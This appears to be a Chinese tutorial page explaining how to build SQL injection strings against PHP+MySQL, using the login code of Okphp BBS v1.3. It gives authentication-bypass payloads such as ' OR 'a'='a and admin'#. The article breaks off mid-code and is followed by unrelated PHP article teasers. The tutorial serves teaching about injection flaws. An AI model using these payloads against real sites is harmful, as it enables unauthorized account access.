攻擊方法注射語句構造php+mysql
以下是本站小編精心為大家整理的利用php+mysql注射語句構造的攻擊方法,希望對大家有所幫助!更多內容請關注應屆畢業生網!
一.前言:
版本信息:Okphp BBS v1.3 開源版
下載地址:
由於PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困難,尤其是注射時語句的`構造方面更是個難點,本文主要是借對Okphp BBS v1.3一些文件得簡單分析,來談談php+mysql注射語句構造方式,希望本文對你有點幫助。
聲明:文章所有提到的“漏洞”,都沒有經過測試,可能根本不存在,其實有沒有漏洞並不重要,重要的是分析思路和語句構造。
二.“漏洞”分析:
n/注射導致繞過身份驗證漏洞:
代碼:
$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);
$password = md5($password);
$q = "select id,group_id from $user_table where username='$username' and password='$password'";
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);
$q = "select id,group_id from $user_table where username='$username' and password='$password'"中
$username 和 $password 沒過濾, 很容易就繞過。
對於select * from $user_table where username='$username' and password='$password'這樣的語句改造的方法有:
構造1(利用邏輯運算):$username=' OR 'a'='a $password=' OR 'a'='a
相當於sql語句:
select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'
構造2(利用mysql裏的註釋語句# ,/* 把$password註釋掉):$username=admin'#(或admin'/*)
即:
select * from $user_table where username='admin'#' and password='$password'"
相當於:
select * from $user_table where username='admin'
在admin/中$q語句中的$password在查詢前進行了md5加密所以不可以用構造1中的語句繞過。這裏我們用構造2:
select id,group_id from $user_table where username='admin'#' and password='$password'"
相當於:
select id,group_id from $user_table where username='admin'
只要存在用户名為admin的就成立,如果不知道用户名,只知道對應的id,
我們就可以這樣構造:$username=' OR id=1#
相當於:
select id,group_id from $user_table where username='' OR id=1# and password='$password'(#後的被註釋掉)
我們接着往下看代碼:
if ($row[0]) {
// If not admin or super moderator
if ($username != "admin" && !eregi("(^|&)3($|&)",$row[1])) {
$login = 0;
}
else {
$login = 1;
}
}
// Fail to login---------------
if (!$login) {
write_log("Moderator login","0","password wrong");
echo "
-
如何運用PHP實現字符串逆序排列
如何運用PHP實現字符串逆序排列呢?下面是小編給大家提供的實現方法,大家可以參考練習,更多詳情請關注應屆畢業生考試網。關於字符串的逆序排列,最簡單的使用PHP函數strrev()的測試代碼如下:header('Content-type:text/html;charset=utf-8');$str=implode(&...
-
PHP數據類型之數組變量詳解
導語:PHP是一種通用開源腳本語言。語法吸收了C語言、Java和Perl的特點,利於學習,使用廣泛,主要適用於Web開發領域。下面我們來看看PHP數據類型之數組變量詳解,希望對大家有所幫助。PHP中的數組實際上是一個有序圖,是一種把values映射到keys的類型。一個數組實際上就...
-
php新手易犯的幾個小錯誤
本文為大家列舉了php新手易犯的幾個小錯誤,供大家參考。1、headeralreadysent這個錯誤通常會在你使用HEADER的時候出現,他可能是幾種原因。跟隨小編去看看吧!1、headeralreadysent這個錯誤通常會在你使用HEADER的時候出現,他可能是幾種原因:1,你在使用HEADER前PRING...
-
PHP程序員基本要求和必備技能
PHP程序員有什麼必備知識呢?以下是本站小編精心為大家整理的PHP程序員基本要求和必備技能,希望對大家成為程序員有所幫助!更多內容請關注應屆畢業生網!一名PHP程序員的基本要求:1、精通html、CSS、JS等網站前端技術。2、掌握PHP編程技術。3、瞭解Linux及Apache、...